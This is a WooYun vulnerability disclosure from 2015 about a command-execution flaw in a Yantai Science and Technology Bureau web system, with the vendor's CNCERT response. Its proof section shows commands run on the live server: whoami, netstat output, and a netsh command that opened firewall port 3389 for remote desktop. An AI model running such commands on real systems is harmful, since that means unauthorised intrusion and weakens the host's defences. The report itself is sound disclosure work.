当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152896

漏洞标题：烟台市科学技术局某系统命令执行漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： 朱元璋

提交时间：2015-11-10 14:08

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：系统/服务补丁不及时

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-10： 细节已通知厂商并且等待厂商处理中
2015-11-20： 厂商已经确认，细节仅向厂商公开
2015-11-30： 细节向核心白帽子及相关领域专家公开
2015-12-10： 细节向普通白帽子公开
2015-12-20： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

详细说明：

0.jpg


链接地址**.**.**.**:8080/kjjhgl/kjjhgl/xwgl/page/showArticleInfoAction.do存在命令执行漏洞

00.png


漏洞证明：

whoami

win-oo794b4rolk\sql


netstat -ano

活动连接
  协议  本地地址          外部地址        状态           PID
  TCP    **.**.**.**:22             **.**.**.**:0              LISTENING       1652
  TCP    **.**.**.**:135            **.**.**.**:0              LISTENING       736
  TCP    **.**.**.**:443            **.**.**.**:0              LISTENING       2292
  TCP    **.**.**.**:445            **.**.**.**:0              LISTENING       4
  TCP    **.**.**.**:843            **.**.**.**:0              LISTENING       17740
  TCP    **.**.**.**:1433           **.**.**.**:0              LISTENING       1448
  TCP    **.**.**.**:2000           **.**.**.**:0              LISTENING       1652
  TCP    **.**.**.**:7935           **.**.**.**:0              LISTENING       17740
  TCP    **.**.**.**:8009           **.**.**.**:0              LISTENING       1416
  TCP    **.**.**.**:8080           **.**.**.**:0              LISTENING       1416
  TCP    **.**.**.**:9090           **.**.**.**:0              LISTENING       20024
  TCP    **.**.**.**:9999           **.**.**.**:0              LISTENING       1416
  TCP    **.**.**.**:21001          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21002          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21003          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21004          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21005          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21006          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21007          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21008          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21009          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21010          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21011          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21012          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21013          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21014          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21015          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21016          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21017          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21018          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21019          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21020          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21021          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21022          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21023          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21024          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21025          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21026          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21027          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21028          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21029          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21030          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21031          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21032          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21033          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21034          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21035          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21036          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21037          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21038          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21039          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21040          **.**.**.**:0              LISTENING       872
  TCP    **.**.**.**:21041          **.**.**.**:0              LI


netsh firewall set portopening TCP 3389

重要信息: 已成功执行命令。
但不赞成使用 "netsh firewall"；
而应该使用 "netsh advfirewall firewall"。
有关使用 "netsh advfirewall firewall" 命令
而非 "netsh firewall" 的详细信息，请参阅
http://**.**.**.**/fwlink/?linkid=121488
上的 KB 文章 947709。
确定。


修复方案：

加强安全意识

版权声明：转载请注明来源 朱元璋@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-11-20 17:45

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评价